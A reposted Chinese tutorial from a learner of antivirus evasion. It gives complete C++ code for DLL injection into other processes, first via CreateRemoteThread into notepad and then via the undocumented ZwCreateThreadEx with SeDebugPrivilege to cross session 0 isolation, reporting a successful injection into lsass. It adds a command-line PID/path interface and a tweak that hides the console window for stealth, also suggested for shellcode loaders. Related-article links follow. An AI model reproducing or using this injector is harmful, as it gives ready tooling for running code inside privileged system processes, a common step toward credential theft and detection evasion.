dll注入的实现及session0注入

记录一下跟着红队蓝军师傅学免杀的过程

本节旨在学习dll注入和代码实现并不涉及免杀知识

dll注入流程

 

dll注入要么注入自己写的程序要么找个程序进行注入,一般是找其他程序进行注入

所以按照上面的步骤进行

其中申请空间,创建线程都是在远程的另一个进程中进行所以和在本地进行用的api有些不一样

loadlibrary在kernel32.dll中所以需要先拿到kernel32的句柄然后找到里面的loadlibrary使用来加载我们自己的dll

我们自己写的dll需要完整的路径因为系统加载dll的时候一般是会在环境变量中路径下去找的。

 

使用vs 2022版本 Windows10电脑,Administrator账号运行

首先简单讲一下在编码过程中的字符编码的问题

ASCII字符占1字节 Unicode字符占2字节

用Unicode编码比ASCII编码需要多一倍的存储空间,在存储和传输上就十分不划算,但是后面有些地方只能使用ASCII格式比如说些BOF

可以在属性中的高级修改字符集

使用_T()可以在任何编码中都兼容,不过需要#include "tchar.h"

MessageBox(0,_T("1"),_T("1"),MB_OK);

如果出现实参与形参不兼容的情况,改为否即可

在有些情况下生成的exe拿到另一台虚拟机上发现运行爆缺少什么dll 140的问题

其实就是默认的生成方式是不会将全部引用的dll文件打包到一起的,所以修改这个地方为/MT就会将所有的dll打包进去了,就是体积会变大

实现步骤:

新建空项目,然后建个源代码,按照上面设置一下这里使用Unicode编码。

1.获取进程句柄

通过进程名获取PID,因为pid是随机的所以我们只能通过将此时的进程信息全部拍摄快照然后通过想要注册的进程名称去循序寻找这个进程名称然后找到他的pid号

#include <tlhelp32.h>
#include <Windows.h>
#include <iostream>DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (lpSnapshot == INVALID_HANDLE_VALUE){printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}

如果有多个同名称的进程只会获取第一个的PID号

2.计算dll路径长度

3.调用 VirtualAllocEx 在进程里面申请内存

4.拷贝dll路径到内存空间里面

5.获取 kernel32.dll 的地址

6.获取 LoadLibrary 的地址

7.通过 CreateRemoteThread 创建远程线程加载dll

8.关闭句柄

完整代码:

需在代码中自定义dll文件路径以及要注入的启动的程序。

#include <Windows.h>
#include <iostream>
#include <tchar.h>
#include <tlhelp32.h>  //这个要放最下面DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("获取进程快照失败,请重试,error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}
DWORD RemoteThreadInject(DWORD Pid, LPCWSTR DllName)
{DWORD size = 0;DWORD DllAddr = 0;// 1.打开进程HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);//PROCESS_ALL_ACCESS参数可以难道当前线程的所有权限if (hprocess == NULL){printf("OpenProcess error!\n");return FALSE;}size = (wcslen(DllName) + 1) * sizeof(TCHAR);   //acsii编码的情况下使用strlen 进行计算 Unicode编码的情况下使用wcslen进行计算//需要先计算一下我们要插入的dll的大小,然后才会去线程中申请这么大的空间出来进行注入// 2.申请空间    LPVOID pAllocMemory = VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT,PAGE_READWRITE);//开辟的空间需要可读可写可执行,一般直接开辟rwx会比较敏感一些情况下可以先开辟rw然后在让写入其中的代码开辟rwx的空间if (pAllocMemory == NULL){printf("VirtualAllocEx error!\n");return FALSE;}// 3.写入内存BOOL Write = WriteProcessMemory(hprocess, pAllocMemory, DllName, size,NULL);if (pAllocMemory == 0){printf("WriteProcessMemory error!\n");return FALSE;}// 4.获取LoadLibrary - kenrel32.dllFARPROC pThread = GetProcAddress(GetModuleHandle(L"kernel32.dll"),"LoadLibraryW");//loadlibrary在kernel32.dll中所以需要先拿到kernel32的句柄然后找到里面的loadlibrary使用来加载我们自己的dllLPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;// 5.创建线程HANDLE hThread = CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory,0, NULL);if (hThread == NULL){printf("CreateRemoteThread error!\n");return FALSE;}// 6.等待线程函数结束WaitForSingleObject(hThread, -1);// 7.释放DLL空间VirtualFreeEx(hprocess, pAllocMemory, size, MEM_DECOMMIT);// 8.关闭句柄CloseHandle(hprocess);return TRUE;
}
int main()
{DWORD PID = GetProcessPID(L"notepad.exe");RemoteThreadInject(PID, L"C:\\Users\\test\\Desktop\\x64.dll");
}

在进行dll注入中都使用messagebox的形式将报错信息打印出来,这一段代码就是生成出来的注入进去的dll文件。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:MessageBoxW(0, L"1", L"!", MB_OK);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

64位的dll只能注入64位的程序

一般现在的系统直接运行的都是64位的程序

system32目录下都是64位的程序,在SysWOW64的文件下面都是32位的程序,可以找到32位的记事本

如果遇到一些报错就是字符集或者那个符合模式要修改为否,然后必须是Administrator的权限才可以注入成功

先用管理员启动cmd

输入

net user administrator /active:yes

就可以激活这个账号了,然后再这个账号上面进行代码的编写运行就可以实现注入

优化注入程序

在代码运行后会留下一个黑窗

只有把messagebox的消息确定了才会消失,这是因为这个main函数已知还在运行所以这个窗口就一直在。

在实际中肯定是不希望出现这个黑窗窗的

需要在这里选择为窗口

再属性页修改这个入口点为mainCRTStartup,不仅是这里的代码shellcodeloader的代码也都需要修改这里达到更好的隐藏

这个时候运行代码进行注入就不会出现黑窗窗了

 

我们希望实际中是通过cmd的方式调用注入程序并且可以输入参数,比如指定输入dll的路径,或者一些进程PID来提高效率

为了模拟cmd可以输入的参数可以在这里输入

这里讲一下怎么接收参数

项目设置为使用 Unicode,则 argv 参数将是 wchar_t* 类型的数组,使用 wprintf 或 _tprintf 以及相应的宽字符串格式说明符

同时要使用_tmain需要引入 #include 头

int _tmain(int argc, TCHAR* argv[])
{//DWORD PID = GetProcessPID(L"notepad.exe");//RemoteThreadInject(PID, L"C:\\Users\\Administrator\\Desktop\\byinjectdll.dll");// 检查是否有足够的参数if (argc == 3) {_tprintf(_T("%s\n"), argv[0]);_tprintf(_T("%d\n"), _tstol(argv[1])); //%d也就是数字的有点不一样_tprintf(_T("%s\n"), argv[2]);}else {printf("argument is to small\n");}}

当然除了这种方式还可以使用scanf函数接受参数。

这样就可以正常的接受参数了

那么代码我们也可以简化到不需要去搜寻PID值而是手动输入PID值进行注入

然后还可以继续完善一下,比如说如果默认打印一段使用方式

int _tmain(int argc, TCHAR* argv[])
{//DWORD PID = GetProcessPID(L"notepad.exe");//RemoteThreadInject(PID, L"C:\\Users\\Administrator\\Desktop\\byinjectdll.dll");// 检查是否有足够的参数if (argc == 3) {//_tprintf(_T("%s\n"), argv[0]);//_tprintf(_T("%d\n"), _tstol(argv[1])); // 假设 argv[1] 是字符串//_tprintf(_T("%s\n"), argv[2]);RemoteThreadInject(_tstol(argv[1]), argv[2]);}else {_tprintf(_T("usage:%s <PID> <dllPATH>\n"),argv[0]);_tprintf(_T("exp:%s 520 d:\\test.dll\n"),argv[0]);}}

另外就是每一段的函数可以将报错的原因打印出来使用GetLastError()

这个函数的报错信息是一个数字,可以去网上找到对应数字的报错原因,常见的有5代表权限不够的问题,87代表输入的参数有问题

不过此处的代码只能注入低权限的进程,哪怕是用高权限的用户去注入也是无法成功的注入高权限的进程。

注入高权限进程:

如果我们想要注入高权限的如何实现,这里就要使用到ZwCreateThreadEx,此 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中

可以看到这两个我们之前用的创建线程函数的底层都是调用了这个NtCreateThradeEx

ZwCreateThreadEx 函数可以突破SESSION 0 隔离,将DLL注入到SESSION 0 隔离的系统服务进程中,CreateRemoteThread 注入系统进程会失败的原因是因为调用 ZwCreateThreadEx 创建远程线程时,第七个参数 CreateThreadFlags 为1

使用 CreateRemoteThread 注入失败DLL失败的关键在第七个参数 CreateThreadFlags , 他会导致线

程创建完成后一直挂起无法恢复进程运行,导致注入失败

这里讲一下微软不常见的API:

未导出API:0环实现了函数,但是没有从dll中给导出 意思就是微软自己偷偷用的api(通过特征码去定位然后想办法使用)

未文档化的API:在dll里面能够看到,没有写进.h头文件也不能直接调用,没有微软的使用文档不知道参数(通过自己声明函数结构去使用)

 

ZwCreateThreadEx

ZwCreateThreadEx 是一个未文档化的API,但是可以通过 GetProcAddress 来获取其地址,需要我们自己在代码中声明函数然后使用

此处如果是64位的就会自动使用上面的如果是32位的就会使用下面的这种


#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);

代码实现的流程和前面的差不多:

1.打开注入进程,获取进程句柄

2.在注入的进程申请内存地址

3.写入内存地址

4.获取LoadLibraryA函数地址

5.加载ntdll

6.获取ZwCreateThreadEx函数地址

7.使用 ZwCreateThreadEx 创建远线程,实现 DLL 注入

8.关闭句柄

session0函数的重点必须拿到 SE_PRIVILEGE_ENABLED 权限,所以需要提权,这个地方的提权不是我们常说的普通用户提升为管理员用户,而是说的拿到一个令牌一个token,在mimikatz中每次使用前都得privilege::debug一下就是为了拿到一个调试进程的令牌,有个这个令牌就可以去操作高权限的进程,当然前提也必须是管理员Administrator的权限来执行这个操作拿这个令牌,有了这个令牌才可以去注入system进程

    // 提权函数//启用调试权限BOOL EnableDebugPrivilege(){HANDLE hToken; //用于存储当前进程的访问令牌句柄。BOOL fok = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。{TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。fok = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fok;}

完整代码:

这里代码使用ASCII编码格式,那个字符集的地方选择第一个未设置就是的

然后其他的一些设置,前面提到的都可以设置一下什么mainCRTStartup之前说的避免黑窗什么的这里为了演示就不修改为窗口,默认控制台可以看到参数

#include <Windows.h>
#include <iostream>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fok = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fok = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fok;
}
BOOL ZwCreateThreadExInject(DWORD PID, const char* pszDllFileName)
{EnableDebugPrivilege();HANDLE hRemoteThread;DWORD dwStatus = 0;//打开注入进程,获取进程的句柄HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);if (hProcess == NULL){printf("OpenProcess error : %d\n", GetLastError());return -1;}//在注入进程中申请空间SIZE_T dwSize = lstrlen(pszDllFileName) + 1;  //acsii编码的情况下使用strlen计算,+1为空终止符留出空间LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT,PAGE_READWRITE);if (NULL == pDllAddr){printf("VirtualAllocEx error : %d\n", GetLastError());return -1;}if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize,NULL)){printf("WriteProcessMemory error : %d\n", GetLastError()); return -1;}//获取Ntdll.dll的句柄HMODULE hNtdllDll = LoadLibrary("ntdll.dll");if (NULL == hNtdllDll){printf("Load ntdll.dll error : %d\n", GetLastError());return -1;}//从kernel32.dll中获取LoadLibraryA的地址FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"),"LoadLibraryA");
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif//从Ntdll中获取ZwCreateThreadEx这个函数的地址然后给了ZwCreateThreadEx,把他的灵魂拿出来装入一个肉体中可以使用了typedef_ZwCreateThreadEx ZwCreateThreadEx =(typedef_ZwCreateThreadEx)GetProcAddress(hNtdllDll, "ZwCreateThreadEx");if (NULL == ZwCreateThreadEx){printf("GetProcAddress error: %d\n", GetLastError());return -1;}//使用ZwCreateThreadEx创建远程线程实现dll注入dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL,hProcess,(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);if (NULL == ZwCreateThreadEx){printf("ZwCreateThreadEx error: %d\n", GetLastError());return -1;}//关闭句柄CloseHandle(hProcess);FreeLibrary(hNtdllDll);
}
int main(int argc, char* argv[])
{if (argc == 3){    //可以使用scanf接收参数//DWORD dwPid;//sscanf(argv[1], "%d", &dwPid);BOOL bRet = ZwCreateThreadExInject((DWORD)_tstol(argv[1]), argv[2]);//BOOL bRet = ZwCreateThreadExInject(dwPid, argv[2]);if (-1 == bRet){printf("Inject dll failed: %d\n", GetLastError());}else{printf("Inject dll successfully\n");}}else{printf("\n");printf("Usage: %s PID <DllPath>\n", argv[0]);printf("Example: %s 520 C:\\test.dll\n", argv[0]);exit(1);}
}

验证

可以看到成功的注入到了lsass进程中了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/144836.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【Linux】-----进程第一弹

目录 概念 描述进程-PCB 查看进程 获取进程标识符 终止进程 fork创建进程 返回值说明 进程的状态 ①运行状态(R) ②浅度睡眠(S) ③深度睡眠(D) ④暂停状态(T) ⑤僵尸状态(Z)(重点) 是什么&#xff1f; 举例 危害 孤儿进程 ⑥死亡状态(X) 概念 课本上对于进程…

土豆王国小乐队携手阿派朗创造力乐园,打造2024年okgo儿童音乐节

艺术与科技的完美融合&#xff0c;为首都少年儿童带来音乐盛宴 北京&#xff0c;2024年9月19日 —— 备受期待的2024年okgo儿童音乐节即将于9月21日至22日在北京阿派朗创造力乐园盛大开幕。这场由土豆王国小乐队与阿派朗创造力乐园联合举办的音乐节&#xff0c;旨在为首都及全国…

【828华为云征文|华为云Flexus X实例部署指南:轻松搭建可道云KODBOX项目】

文章目录 华为云 Flexus X 实例&#xff1a;引领高效云服务的新时代部署【可道云KODBOX】项目准备工作具体操作指南服务器环境确认宝塔软件商店操作域名解析可道云KODBOX登录页效果验证 总结 华为云 Flexus X 实例&#xff1a;引领高效云服务的新时代 在云计算领域&#xff0c…

基于Ubuntu22.04的cups安装与配置

目录 关于cups 关于cups Linux中的CUPS(Common UNIX Printing System,通用UNIX打印系统)是一个开源的打印系统,它提供了一套完整的管理打印设备、实现可靠打印和网络打印的方案。 Cups安装与与配置 1、升级系统 sudo apt update -y && sudo apt upgrade -y 2、安…

代码随想录算法训练营43期 | Day 20 —— 235.二叉搜索树的最近公共祖先、701.二叉搜索树中的插入操作、450.删除二叉搜索树中的节点

代码随想录算法训练营 代码随想录算法训练营43期235.二叉搜索树的最近公共祖先701.二叉搜索树中的插入操作450.删除二叉搜索树中的节点 代码随想录算法训练营43期 235.二叉搜索树的最近公共祖先 解题思路&#xff1a; 二叉搜索树一定是有序的 判断条件&#xff1a; cur>p &…

MySQL索引知识个人笔记总结(持续整理)

本篇笔记是个人整理的索引知识总结&#xff0c;刚开始有点乱&#xff0c;后续会一直边学边整理边总结 索引&#xff08;index&#xff09;是帮助MySQL高效获取数据的数据结构(有序)。就好比索引就是数据的目录 索引结构 Btree索引,Hash索引,Full-text索引&#xff0c;R-tree(空…

【第十二章:Sentosa_DSML社区版-机器学习回归】

【第十二章&#xff1a;Sentosa_DSML社区版-机器学习回归】 12.1 线性回归 1.算子介绍 线性回归模型(BuildLRNode)是一个非常经典有效的回归模型&#xff0c;它假设所有特征变量和目标变量之间存在线性关系。通过训练来求得各个特征的权重以及截距。同时可以通过L1&#xff0…

GDPU 信息安全 天码行空1 用Wireshark分析典型TCP/IP体系中的协议

文章目录 一、实验目的二、实验内容三、实验步骤1. ICMP&#xff08;控制报文&#xff09;2. IPV4第一个包&#xff08;IPv4&#xff09;第二个包&#xff08;IPv4&#xff09;第三个包&#xff08;ICMP&#xff09; 3. TCP 三次握手 一、实验目的 通过Wireshark软件分析典型网…

网络安全 DVWA通关指南 DVWA Stored Cross Site Scripting (存储型 XSS)

DVWA Stored Cross Site Scripting (存储型 XSS) 文章目录 DVWA Stored Cross Site Scripting (存储型 XSS)XSS跨站原理存储型 LowMediumHighImpossible 参考文献 WEB 安全靶场通关指南 XSS跨站原理 当应用程序发送给浏览器的页面中包含用户提交的数据&#xff0c;但没有经过适…

对 JavaScript 原型的理解

笔者看了一些有关 JavaScript 原型的文章有感而发&#xff0c;就将所感所悟画了下来如果有理解错误和不足的地方&#xff0c;欢迎各位大佬指出&#xff0c;笔者感激不尽

搜索专利的方法

最近发现谷歌可以搜索专利的申请情况&#xff0c;比如&#xff1a; 谷歌专利 https://patents.google.com/?q%E5%B0%8F%E7%B1%B3&inventor%E9%9B%B7%E5%86%9B https://patents.google.com/ 就可以看到这位老兄申请了14个专利&#xff0c;点开可以看到里面的明细&#xff…

佰朔资本:沪指企稳反弹 半导体板块全天强势

降息预期提振金融板块 昨日午后&#xff0c;大金融板块明显发力&#xff0c;成为引领指数企稳上升的重要力气。到收盘&#xff0c;申万银行指数涨1.00%&#xff0c;工商银行涨超2%&#xff0c;招商银行、建设银行、农业银行等涨超1%&#xff1b;申万非银金融指数涨0.81%&#…

C++ 中的继承(详细讲解)

一、继承的概念以及定义 1、继承概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段&#xff0c;它允许程序员在保 持原有类特性的基础上进行扩展&#xff0c;增加功能&#xff0c;这样产生新的类&#xff0c;称派生类。继承呈现了面向对象 程序设计的…

Python开发深度学习常见安装包 error 解决

Python Python 是一种广泛使用的高级编程语言&#xff0c;它以其清晰的语法和代码可读性而闻名。Python 支持多种编程范式&#xff0c;包括面向对象、命令式、函数式和过程式编程。由于其简洁性和强大的标准库&#xff0c;Python 成为了数据科学、机器学习、网络开发、自动化脚…

CTFshow——萌新隐写(未完待续)

萌新隐写2 首先暴力破解密码&#xff0c;初始密码设为19000000即可 我用的是ziperello 萌新隐写3 萌新隐写4 word打开 - > 打开设置 - > 隐藏文字 - >flag出现 萌新隐写5 中文转unicode 16进制转字符串 base32解码 萌新隐写6 暂时不会。。。。 隐写1 打开就看到头是…

FPGA随记-二进制转格雷码

反射二进制码&#xff08;RBC&#xff09;&#xff0c;也称为反射二进制&#xff08;RB&#xff09;或格雷码&#xff08;Gray code&#xff09;&#xff0c;得名于Frank Gray&#xff0c;是二进制数制的一种排列方式&#xff0c;使得连续两个值之间仅有一个比特&#xff08;二…

组装电脑-电脑配置

键盘、鼠标&#xff1a;买一百多的机械盘。 主板 电脑台式机主板是计算机最基本的同时也是最重要的部件之一&#xff0c;它在整个计算机系统中扮演着举足轻重的角色。以下是对它的详细介绍&#xff1a; 基础功能&#xff1a; 主板作为计算机的核心部件&#xff0c;负责连接和…

嵌入式C语言自我修养:C语言的模块化的编程思想

不同模块如何集成到系统中去&#xff1f; 模块的编译和链接 一个C语言项目划分成不同的模块&#xff0c;通常由多个文件来实现。在项目编译过程中&#xff0c;编译器是以C源文件为单位进行编译的&#xff0c;每一个C源文件都会被编译器翻译成对应的一个目标文件。链接器对每一个…

【计算机基础题目】二叉树的前序中序后续遍历之间相互转换 详细例子

创作日志&#xff1a; 笔试题目&#xff0c;掌握了技巧之后这道题就是 so easy~ 一、 1、已知二叉树的 前序和中序&#xff0c;可以求出后序 2、已知二叉树的 中序和后序&#xff0c;可以求出前序 3、已知二叉树的 前序和后序&#xff0c;无法求出唯一的中序 二、求法 求法是…

《ElementUI/Plus 基础知识》el-table + sortablejs 实现 row 拖动改变顺序(Vue2/3适用)

前言 使用如下技术&#xff1a; ElementPlus Table 组件&#xff1b;插件 sortablejs &#xff08; npmjs/Github 地址&#xff09;&#xff1b; 实现 html 代码第 1 行&#xff0c;属性 row-key 一定要设置&#xff0c;否则会报错。即行数据的 Key&#xff0c;用来优化 t…